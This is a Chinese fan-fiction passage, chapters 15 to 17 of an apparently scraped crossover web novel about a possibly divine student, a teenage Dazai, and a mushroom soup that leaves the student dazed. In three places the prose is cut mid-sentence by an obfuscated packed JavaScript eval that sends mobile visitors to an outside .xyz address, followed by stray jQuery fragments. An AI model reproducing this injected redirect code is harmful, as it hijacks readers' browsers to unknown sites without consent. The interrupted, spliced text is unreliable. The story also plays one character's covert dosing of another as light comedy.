“是啊~”
乱步耸肩,“如果是兔子有三窟,那他肯定有三百窟转移视线!”
有些嫌弃地撇撇嘴,乱步无情摧毁堡垒,将馅料全部挖出,转移到垃圾桶。
“不过我是谁——”
乱步一拍桌子,福泽谕吉的眉头和碗碟一起,被震得跳了一下。
食客们只见穿着侦探服的青年猛地站起来,仰天大笑。
“身为世界第一名侦探,只要我用出‘超推理’,就可以准确无误地找到真窟!”
“所以!答案实在是再简单不过啦!他在看谁,谁就是目标人选!”
15. 第十五章
第十五章 正版@晋江文学城
——
……
忽然之间毛毛地,好像被别人念叨了一样。
他甩甩头,揉了下鼻子。
回过神来,夜斗三人都在看自己。
“怎么了?”
胧月凛摇头,那感觉只有一瞬,很快就消失了。
昨天,夜斗欲言又止半天后,胧月凛便猜到他还会再来找自己,果不其然,第二天一大早,夜斗便以答谢的名义邀请他出门。
只是这个地点……
出乎意料地是在马路边上呢。
胧月凛目光涣散地盯着不远处来来回回的腿。
“好吧,”夜斗也不强求答案,顺嘴道:“那你把拉链拉好。”
今天风是有点大。
胧月凛低头看看自己的羽绒服,因为蹲下的姿势,衣摆最下面几个扣子都开了。
羽绒服长到脚踝,如果把拉链拉上,走路都会变成小碎步,所以胧月凛向来只敷衍地扣一下。
不过这会儿,他直起身拉好拉链,变成了长长一个桶。
代价是蹲不下了。
几个人索性都站起来了。
“说回刚刚的话题吧,”
胧月凛说,“夜斗的意思我大概了解了。你怀疑我的身份有问题?”
胧月凛指了指自己。
“纠正一下,”夜斗说,“不是怀疑你的身份有问题。是怀疑你不是人。”
胧月凛:“……”
胧月凛:“诶?开除人籍吗?”
夜斗严肃地点头。
胧月凛神情也凝重起来:“其实我早有预感……”
“是吗?”
那就好说了,夜斗松了口气。
这种事就怕当事人不相信。
当时在体育场人太多,气息嘈杂,后来在密闭的小房间里,夜斗便发现,胧月凛和在座几位人类,有细微的差异,用雪音的话来形容是:类人。
夜斗昨天回去后仔细地想了想,又问了曾经有过转世经历的小福,几乎可以确定胧月凛也是位神明。
并且,不像自己这一侧由人或人的愿景中诞生的神明,胧月凛看上去更像是自然生成的,和人类的关系不大。
夜斗对他们的了解不深,两方井水不犯河水,只是不知道他为什么会成为类人了。
不过自己都这么说了,胧月凛应该也会有很多问题想问吧?
没关系,看在对方帮了日和的份上,随便问!
就算他不知道也会去骚扰他神的!
夜斗用鼓励的眼神看胧月凛。
胧月凛歪歪头:“?”
夜斗突然很期待自己提问一样。
胧月凛思索一番,说:“的确有很在意的事想问夜斗……”
夜斗:不要客气地说吧!
“夜斗还记得太宰吗?”
胧月凛问。
得到肯定的回答后,胧月凛继续:“……太宰,也不是人吧?”
夜斗:“……”
夜斗:“???”
“先不提你为什么对自己的身份毫不在意,而且那个太宰分明就是个板上钉钉的人类吧?怎么可能不是人呢???”
“……如果是指他的头脑,那的确不像人类。”雪音在旁边补充。
胧月凛不语,沉默片刻后,他说:“其实……我总认为太宰会在某一天消失,对他的存在毫无实感。”
“冥冥中,我认为太宰不会一直维持着现在的模样,”
少年眼中全是困惑,“至少不应该是现在十五岁的样子,他应该……”
“年龄更大一些?”胧月凛说。
显然胧月凛自己也觉得这番说辞很是奇怪,他沉默了会儿,又强调:“我不认为这是错觉。”
好吧。
是位固执的少年。
夜斗:“胧,你知道我们是如何辨认人类的吗?”
显然夜斗没有期待胧月凛的回答,他继续说:“当然不是相貌。”
“对于神来说,人类的时间太短暂了,一个不注意他们便会重新生长,所以,辨别一个人的方式,是灵魂和气息。”
看着胧月凛希冀的眼神,夜斗重重地强调:“当然!还有一种方式会影响到神的辨认。”
“血缘。”
夜斗说,“血缘具有奇妙的力量,直系出身两个人,往往会拥有相似的气息,而如果是双胞胎这类的存在,连灵魂也会很像。”
“毋庸置疑地,那位太宰君是人类。”
夜斗说,“至于胧君你所说的这种感觉……大概率是太宰君有位血缘近似的亲人吧。”
“或许胧君自己没有意识到,你在看着太宰君时,目光像是望向更远的地方,而非他本人呢。”
“或许你曾与那人有过交集,而后把这种错觉投射到太宰君身上了。”
……
“看什么呢?”
“没事干不要站在窗户前面,你知道自己现在被多少人关注吗?太宰?”
要不是这家伙是首领,还要有点尊重,他真想一把将太宰拽回来。
港口黑手党作为关东地区最大的黑手党势力,是重点关注对象,期待它倒下的人,更是不知道有多少,是绝对不能露出破绽的。
太宰治之前也的确执行了这样的方针,港口黑手党的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15486895|170089||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
名声祭出,□□组织无不闻风丧胆,可最近……简直是变成了谐星。
而罪魁祸首就是太宰治。
中原中也拳头捏地嘎吱作响。
他是接到首领疑似被他人操控,跳楼自杀的消息后,从海外赶回来的。
……唯一能庆幸的是,还好没死成,中途被中岛敦那小子捞回来了。
最生气的是,中原中也是在和其他组织谈判过程中,从别·人·口·中得知这个消息的。
走在会场里,都有不长眼的人跑过来调笑中原中也。
“听说你们首领中邪了?”
偏偏中原中也还无法反驳。
他能怎么办?只好加快进度把事情办完回去给首领驱邪。
中原中也愤怒低语:“自从你那次跑出去后,有多少人在横滨翻来覆去找你的踪迹!”
为了处理宵小,中原中也这段时间哪里都不能去了,他必须一直守在港口黑手党大楼,处理针对首领的暗杀事件。
要不是中原中也和太宰治共事多年,知道太宰看似行为荒谬,但一直有自己的理由,中原中也早就忍不下去了。
中原中也:“太宰,你想干什么?”
首领宰不答,懒懒地瞥了眼窗外。
他选了个好位置,从这里望向窗外,能将横滨的景色尽揽眼底。
当然了,因为高度的关系,很难看清人群里有谁。
——常理来说,是如此的。
首领宰看着远处街道上,在他的视野中,青色的一团正从圆圆的一个球体,伸展成圆柱形。
那是唯一与旁人不同的色彩。
只是一瞬的时间,首领宰目光便不着痕迹地移开了。
想干什么?
想今晚吃什么。
无人看到的地方,宰猫也同步地摇了下尾巴。
这在中原中也看来就是他又出神了。
中原中也正想说些什么,直觉告诉他有人在注视这里,他立刻顺着感觉看过去。没有人,半空中出现了一道极难察觉的裂隙。
如果夜斗在这里,就会察觉到,这道裂隙虽然和他遇到的模样不同,可和他昨天斩断的异空间,气息极其相似。
中原中也虽然不知道那是什么,凭本能也反应极快地揪着太宰治的后衣领向后一拉。
“发什么呆!”
下一秒,一块拇指大小的灰白色圆点落在首领宰刚才站立的地方。
看上去平平无奇,像个贴画,可能用来对付太宰治,想也不可能像它的外观那么普通。
中原中也把首领宰向后甩去,同时目光精准锁定,没有任何痕迹。
裂隙消失了。
16. 第十六章
第十六章 正版@晋江文学城
——
“其实胧君,找你的原因很简单。”
夜斗说,“在我看来,你现在的状态就像个濒临爆炸的气球,能量全部被封在体内,只要施加一点外力,就会爆炸。”
“人类的身体想承受神明灵魂,可不是这么简单地造个身体,塞进去了事。”
“如果不想个办法,你会死的。”
“神和人类不一样,死便是魂飞魄散,再无痕迹。”
在胧月凛的沉默中,夜斗犹豫地拍了拍他的肩膀。
“看在我们是同行的份上!”
夜斗刻意把话说得轻松,“我会帮你问问其他神的,你这样的情况是怎么回事。”
“别担心!但是也要注意身体,尽量维持平衡,最好连生病受伤都不要有。”
“那么我们先离开了,保重。”
尾音随着三人的脚步汇入人流,胧月凛站在原地没有动。
围巾没有好好地包住头发,借风逃出几缕,四散在颊边。
少年呵了口气,白雾逸散,他把发丝重新别好,又紧紧围巾,喃喃自语。
“呼——”
“今天确实有点冷。”
死吗?
确实很突然,但其实没什么感触。
红绿灯亮了,此时街边有很多行人涌来,胧月凛逆着人群向对面走去。
从有意识起,胧月凛便是独身一人,孤独和死亡,与他而言,差距不大。
“不过现在不一样了……”
想到这个胧月凛就开始头疼,比起自己,胧月凛更关心另一个问题:是猫怎么办?
“做好最坏的打算,如果死亡成为定局……那么,要想个办法,赚够猫粮费。还有太宰,虽然是自己来的……来都来了。”
养一个也是养,两个也是养。
留点遗产当做纪念也不错。
就一人一猫平分遗产好了。
“不过这样一来,大概要多赚些钱才行。”
……
“怎样才能多赚点钱?”
“翻翻刑法书?”
“哈哈,开玩笑的。”
米里一支着下巴想了想,她消息灵通,倒还真有几个渠道。
“不过……”
到不了违法犯罪的份上,可乱纪是肯定有了。
米里一:“看在是胧君的份上,我还是不要告诉你了。”
胧月凛:“?”
“因为那些工作,都不是很正经嘛。”
女孩摊摊手,学着胧月凛的样子歪了下头。
“而且胧君不是有兼职吗?足够你生活所需了吧?怎么突然要找别的工作?”
按照胧月凛一贯的作风,此处应直接坦白。
然而……说自己命不久矣,于是决定多打几份工给猫留遗产这种事,怎么可能说出口。
胧月凛看着女生探寻的目光,果断低下头颅:“拜托了。”
米里一:“……”
米里一大大地叹气:“兼职是真没有合适的啦!不过……我倒可以帮你注意一下,看看最近有没有什么合适的兼职。”
“那就拜托了。”胧月凛笑了下,因为经常被猫和十五宰搞破防,他最近表情丰富了不少,话也多了。
“诶,胧君。”米里一突然道:“总觉得你好像变了。”
胧月凛看上去态度认真,但熟悉了就会发现,他散漫地很,像浮萍般随波逐流,是个没什么目标的人。
毫无欲望,真的是好事吗?米里一很难说。
可今天一看,胧月凛好像终于打起精神了。
作为朋友,米里一乐于见到他的变化。
“是吗?”
胧月凛摸摸脸,把这话理解成今天不太一样。
昨天的日子的确是很难熬。
因为昨天白天去见了夜斗,留下猫和十五宰在家,一人一猫起了矛盾,而且争执的比往日更厉害,他梦里都是猫和十五宰叽哩哇啦的声音,没听懂在说什么,但也没睡好。
胧月凛:“……大概是睡眠不足,黑眼圈加重了。”
米里一不置可否地笑了下,她还想再说点什么,胧月凛的手机铃响了。
胧月凛歉意地看看米里一,走出教室接电话。
等他通完电话回来,米里一已经收拾好了书包。
“好啦,胧君,我要去新闻社了。兼职的事我会帮你注意一下!”
两个人是下午放学后聊的天,仁王被胧月凛支开了,说话的时间里,同学陆陆续续走了不少。胧月凛回来后,教室里只剩下米里一一人,一看就是等着和胧月凛告别。
“再……”
米里一背上包,打了个招呼,风一样刮跑了:“拜拜——”
胧月凛甚至没来得及说完再见。
“……再见。”
胧月凛默默补上,虽然当事人听不到。
……
兼职的事先放一边,现在的当务之急。
当然是继续上学。
哈哈。
既然是学生,哪怕明天就要死掉,也得有完成今天作业的觉悟才行。
可是要做吗?
真的要做吗?
胧月凛在部活间隙,见缝插针地背了一通课本后,只觉得大脑里充满了不可名状的物体。
可是没办法,
“……总不能真的不及格。”
至于为什么?
多多少少的,胧月凛还是有些包袱在的。
就像死前一定要清空电脑文件的阿宅一样,胧月凛也不想自己的墓碑刻一行生物不及格。
太耻辱了。
“前辈!”
切原赤也刚结束一场练习赛,还没来得及喘气,便径直冲了过来。
“前辈还在复习吗?真厉害!”
切原赤也眼睛亮晶晶的,额角薄汗,看到胧月凛后,屁股上仿佛有尾巴在摇。
胧月凛不着痕迹地挺直脊背。
跑到胧月凛面前,切原赤也停下冲刺。
切原赤也问:“太宰前辈呢?”
切原赤也已经迅速习惯了胧月凛身边总粘着另外一个人,看不到甚至会不适应。
“……大概,去厕所了?”
胧月凛沉浸在复习中,其实也没注意,使出万能回答。
“休息一下。”
说着,胧月凛往边上坐坐,给切原赤也多留出一点空间,又把早就准备好的柳汁递给切原赤也。
切原赤也只是随口一问,应了声:“哦。”
他一屁股坐在地上,接过水杯,拧开瓶盖,嗅了嗅。
他皱着鼻子说:“为什么闻着气味还是怪怪的?前辈不是说改良了吗?”
说罢,喝药一样往嘴巴里灌。
气味怪怪的……?
胧月凛没多想。
“应该是羽衣甘蓝的味道。”
胧月凛又翻了一页课本,一心二用地说:“据说是最近爆火的运动佳品,经常售罄,柳花了大功夫才抢到一点。”
“这样……”
本来还想偷偷留几口的,可一听是柳前辈辛苦买来的,切原赤也拧着脸,还是喝了个干净。
喝完,他控制不住地死了两次,抓紧漱口复活。
胧月凛:“不过……”
切原赤也侧耳倾听:“不过?”
“粗纤维虽然能增强饱腹感,可对于运动员来讲,补充蛋白质和水分似乎是更重要的项目。”
胧月凛看向不远处。
仁王雅治此时正在和搭档柳生比吕士凑在一起切窃窃私语,大概是在商量他们最近新研发
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15486896|170089||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的招数。
这不是胧月凛的关注范围。
重点是,在视觉效果上,仁王雅治的肌肉轮廓比柳生比吕士小了整整一圈。
胧月凛若有所思:“仁王就是负面对照组呢……”
蛋白质?鸡蛋?还是肉?
切原赤也一阵恶寒,无法想象添加了蛋白粉的柳汁会是什么味道。
胧前辈的厨艺水平,和他的柳汁生产水平是呈反比的状态,一个越美味,另一个越难喝。
切原赤也生怕自己留下会遭受不测。
“……前辈,这个还是不要了!”切原赤也丢下这句,迅速溜走。
“赤也果然很有活力。”
就是毛毛躁躁的。
胧月凛视线下移。
切原赤也走得太急,水杯被他丢在地上,杯盖也没有盖好。
“如果不盖好的话,会污染瓶口。”
胧月凛弯下腰捡起杯子,看了看,确认里面没有液体,便要拧上。
“……咦?”
杯盖,似乎有哪里不对。
胧月凛仔细地看了看。
杯身的标签的确写着切原赤也的名字,但,杯壁上残留的颜色不太对劲。
不像是柳汁。
至少不全是柳汁。
……不妙的预感。
胧月凛迅速联想到某人。
“——太·宰。”
说太宰,太宰到。
“解释。为什么捉弄赤也。”
胧月凛冷酷地。
“凛酱——”
十五宰有0分委屈,但演出来的,足有十分。
胧月凛不为所动。
在一起生活久了,十五宰越来越放飞自我,如果不及时施以教训,要不了多久就会爬到他头上作威作福了。
——这时,胧月凛还不知道,其实早就有猫每天爬到他头上去。
十五宰不甘大叫:“偏心!赤裸裸的偏心!”
“——而且!”
十五宰不甘愿地说,“我只是分享了好东西给切原君而已。”
“……好东西。”胧月凛重复。
“当然,”
十五宰神秘兮兮地,“这可是能提高记忆力的神物。”
十五宰说着拿出一捧彩色蘑菇在胧月凛面前晃了一下,只一瞬便迅速收回。
“太宰,”胧月凛成功被转移话题,渴望地,“给我看看。”
见胧月凛的注意力完全放在自己身上,十五宰满意了。
他谆谆善诱道:“只要凛酱答应我一件事……给你也无妨。”
“?”
“什么事?”
胧月凛甩甩脑袋,试图清醒,又说:“如果是捉弄赤也的事,不行。”
十五宰那个厨艺。
……希望赤也没有留下心理阴影。
至少不要从此拒绝柳汁。那样他会很困扰的。
胧月凛认真地:“如果是恶作剧,自己向赤也解释。”
“不是哦?”
十五宰笑得狡黠,一肚子的坏水晃来晃去,悄悄溢出。
——可惜,唯一的见证人对此毫无察觉,耐性十足地等待十五宰卖完关子。
十五宰瘪嘴,还是如了他的愿。
“只要凛酱答应借我用一下就好了。”
十五宰故意把话说得暧昧不清。
“……”
胧月凛沉默。
“虽然不知道你要用什么,不过你可以随便用。”
他点点头,肯定地,“只要是我有的,都可以,不用告知也没关系。”
“是吗?那如果是……”
十五宰还待说什么,网球场那边声音突然大了起来,胧月凛被声音惊动,站起身向那边望。
一群人围在一起,中间的人……是赤也?
17.第十七章
第十七章 正版@晋江文学城
——
“我先去看看情况。”
胧月凛丢下这句便溜走。
正选们去活动室了,只有胧月凛在外面看着,众人看到经理,像找到了主心骨,很快便让开一条路,方便他看到赤也。
切原赤也正拿着网球拍呆呆站在原地,看不出什么情况。
胧月凛:“怎么回事?”
“不,不清楚?”有人惊慌失措地回。
“赤也莫名其妙地开始口吐英文……”
“对啊,而且还是那种、、”
有人迟疑,试图形容,“很有技术含量的单词。”
有人悻悻点头:“是网球赛事播报的专有名词。”
大家惊恐挤作一团:“鬼上身!是鬼上身!这根本不是赤也该有的水平!”
胧月凛:“……”
胧月凛:“……………………”
太宰,你来真的?
这真的不是异能效果吗?
有人笑盈盈地插进话题:“真的不是哟?”
……
混乱之中,确定切原赤也除了英语水平大涨外,毫发无损,此事便也作罢。
晚上回到公寓,十五宰很是兴致勃勃地煮了一锅色彩斑斓的蘑菇汤,据说是切原赤也同款。
此时,汤正摆在两人面前,一只小虫飞过汤锅上空,昏头昏脑地向锅里跌,被十五宰眼疾手快地拍飞。
“呐呐,凛酱尝一下我的手艺。”
“这就是切原君同款蘑菇~可以回忆起被遗忘的知识。”
十五宰像是突然失明,对胧月凛的迟疑毫无所觉,热情洋溢地为胧月凛呈了碗汤。
胧月凛:“……”
胧月凛举起汤匙,蘑菇汤的颜色,多少有些诡异。哪怕是神经粗壮的他,也感受到了一丝丝不妙的气息。
但是。
这毕竟是孩子煮的啊。
胧月凛闭上眼睛,舀了勺,塞进嘴巴。
糟糕,忘记等吹凉再喝。
“……好烫!”
胧月凛睁开眼。
因为疼痛,身体条件反射地分泌出泪水,迅速充盈眼眶。
“来,张嘴。”
十五宰似乎早就猜到会有这一幕,夹了备好的冰块递过来。
胧月凛乖乖张开嘴巴。
冰块顺利地塞进口腔,火辣辣的痛感被缓解。
“含一会儿。”
十五宰叮嘱。
胧月凛点头。
方形冰块塞在嘴巴里,很难闭上。而且十五宰塞的角度有些刁钻,胧月凛不适地鼓了下脸颊,调整位置。
侧脸被顶出一个小小的突起。
十五宰伸出手,摁上侧脸的突起,他笑眯眯地说:“凛酱,不要乱动哦~?”
“要好好地含住。”
“唔、态病嘞(太冰了)……”
舌头被压住,说不准词。
胧月凛眨眨眼,企图用眼神传递信息。
他忘记自己眼中还含着一汪泪水,眼睫颤动间,几滴泪顺着脸颊滑落,被缠着绷带的手指拭去。
“好啦,乖一点。”
十五宰声音越发沉闷,尾音压至最低,久久凝视着胧月凛。
青色在沾染上透明液体后,越发清冽,像碎裂的冰块交错碰撞后,稀释出的透彻。
寡淡。
淡得仿佛下一妙便会消失。
十五宰不由用力,指腹擦过眼角,抹出一道红痕。
胧月凛瞳孔微缩。
极小的弧度,却被十五宰准确地捕捉到了。
十五宰笑着哼了声:“嗯?”
从鼻腔中发出的,混杂着愉快的气息。
他没有读懂十五宰动作中暗藏的占有欲,只是单纯地把这看作朋友间的亲昵。
含在嘴中的冰块因为体温逐渐融化,液体在口腔中积攒,即将溢出。
胧月凛唔唔两声。
他要去漱口。
十五宰知道继续下去会让胧月凛察觉到不对,他只好遗憾放手。
胧月凛敏捷地自椅子上一跃而起,冲向洗漱台。
“……其实,被发现有些小心思,也没什么吧?”
望着胧月凛的背影,十五宰遗憾自语。
——开玩笑的。
……
哗啦啦水声过后,胧月凛抬起脸,镜子中的人一如既往。
洗完脸,那点红痕淡去,像是从未有过。
胧月凛眨眨眼,镜子中的人也眨了下眼角,一滴水顺着纤长的眼睫滑落。
“……奇怪。”
……明明痕迹已经消失,却总错觉那股摩挲的力道还在。
……不想了。
胧月凛晃晃脑袋,拿毛巾擦干净脸。
回去后,十五宰坐在位置上,他给自己也舀了碗蘑菇汤,正哼着歌搅拌。
“喔~~耶~~一个人~不可以殉情~”
“但是但是~两个人就行~”
“……”
胧月凛沉默了一下。
太宰看上去心情很好,可。跑调真的很严重。
这公寓隔音不好,希望不会被投诉扰民吧。
胧月凛心情微妙。
因为对十五宰的厨艺有心理准备,直到不怎么样,所以在喝到口味正常的汤时,反而有种捡钱般的惊喜。
在太宰的诱哄,胧月凛不知不觉喝了大半。
吃完,胧月凛低头。
今天吃得有些多,腹部凸出圆圆的一块。
胧月凛新奇地戳了下肚子。
他向来是定餐定量,这还是第一次打破进食规矩。
以往,哪怕是仁王他们起哄或者故意诱骗,胧月凛也没有多吃过哪怕一克。
因此没少被吐槽。
……这种时候,胧月凛向来是心虚地沉默。
……
“……好饱。”
胧月凛将餐桌收拾好后便闲下来。
他坐到沙发上,课本摊在腿上,双腿并拢,手搭在课本边缘,低着头看。
翻着翻着,脸上浮起红晕,眼神也开始涣散,黑色的字模糊扭曲,排着队在胧月凛眼前晃来晃去的。
大脑迷迷糊糊,好像有点困,又有点像传说中的醉酒。
吃了特效蘑菇是这样的吗?
“凛酱?”
“唔?”
可能是最近蘑菇出现的次数太多,胧月凛抬头,看到一个黑漆漆的蘑菇从厨房里跳出来。
蘑菇说话了?
“不……不对……”
意识模糊,胧月凛说话也含混了,他觉得胸口有点闷,好像憋了口气一样,还是硬撑着说完。
“这样写……不能得分!”
说完这句,胧月凛泄气了,坐姿不再板正,逐渐融化在沙发上,十五宰靠过来,他也懒得避开。
室内开着暖气,温度高到穿短裤的那种,两个少年的小腿贴到了一起。
……怎么会有这么大的蘑菇啊?生物学怎么办?
胧月凛眼神涣散,伸手去摸菌柄。
他不知道,自己摸的其实是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15493268|170089||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
十五宰的肩膀。
胧月凛还没怎么主动和十五宰接触过,十五宰惊奇地看着他,没说话。
胧月凛敏锐地察觉到其中带了点惊讶的意味,蘑菇精也有人类的情绪吗?
胧月凛好奇心起,靠得更近些,试图更仔细地观察。
他比十五宰高出半个头,于是在贴近时,半扭过腰,上身微拧,以垂着脸的动作向下看他。
长发没有束起,倾泻而下,抚过眼前人肩膀,又顺着滑落到他背部。
太近了,从后方看过去,仿若这长发天生便属于十五宰。
发丝拢着二人,像细密遮光的牢笼,视野变暗,又没有那么暗,至少十五宰可以清楚地看到胧月凛垂下的眼睫。
根根分明,间或流淌出一丝青色。
胧月凛伸手拨开发丝,扶住蘑菇的伞柄(肩膀),严肃地告诫他:“蘑菇不能成精。”
成精就会跑掉的,再也不会回来了。
……怎么才能让蘑菇精听话?他艰难地从大脑中翻捡。
或许这蘑菇真有奇效,胧月凛想起曾经,十多年前,他似乎也见过一朵小蘑菇。
和面前这个还很像,就是要矮很多。
可惜,那朵小蘑菇不是真的蘑菇,只是像蘑菇的人类。他也想不起来蘑菇的名字是什么了。
只记得对方有一头黑黑的小卷毛,和鸢色的大眼睛。
……如果,如果那只是真的蘑菇。
胧月凛迷迷糊糊地想。那他早就把蘑菇给打包捞走了,才不会放蘑菇离开。
——我可是很霸道的。
胧月凛有点得意地想。
他捏住十五宰的下巴,来回晃了晃,在他视野里,这是蘑菇的菌褶。
……还是好在意。
这只总该是真的蘑菇精了吧?他的收藏里……还没有植物精呢。
最重要的是,这柱蘑菇,和他曾见过的小蘑菇,真的超像的。
十五宰任由胧月凛动作。
别说,顺着手指的力道晃脸后,蓬蓬的卷毛也随着一荡一荡的,十分Q弹。
胧月凛被眼前的蘑菇精给迷惑了。
管他的。他心一横。
这蘑菇一看便是无主之物,他拿走也不会怎么样。
不过生物学怎么办?他不要从头学新的知识点……
“……好伤脑筋。”
或许意识不清晰的时候,本性更容易暴露。况且在胧月凛自己都忘记的,做神的日子里,他也不是那么纯良的家伙。
胧月凛想了半天,自认为想出个超好的主意。
……哈。
少年有点得意地想,他谁也不说,把蘑菇悄悄藏起来,就没人知道了。
不过这么大一颗……怎么才能不伤菇地拔出来,也是个问题。
“……你。”
胧月凛霸道地指挥:“起来走两步。”
他都没想过蘑菇愿不愿意和他走,自顾自地就决定了。
胧月凛迷迷糊糊地,没注意到他身后,宰猫的出现。
一人一猫对视一瞬。
大抵是人类根深蒂固的劣根性,面对所有物,总是试图掌控对方。
胧月凛不满地扭过十五宰的脑袋,额头抵着额头,努力睁大眼睛,认真地说:“看我。”
十五宰没动,定定地看着胧月凛。
猫宰也没动。
一人一猫在那一眼后,神情中流露出相同的意味,有些微妙难以捉摸。
同一时间,港口黑手党。
正听着下属汇报的首领宰,动作一顿。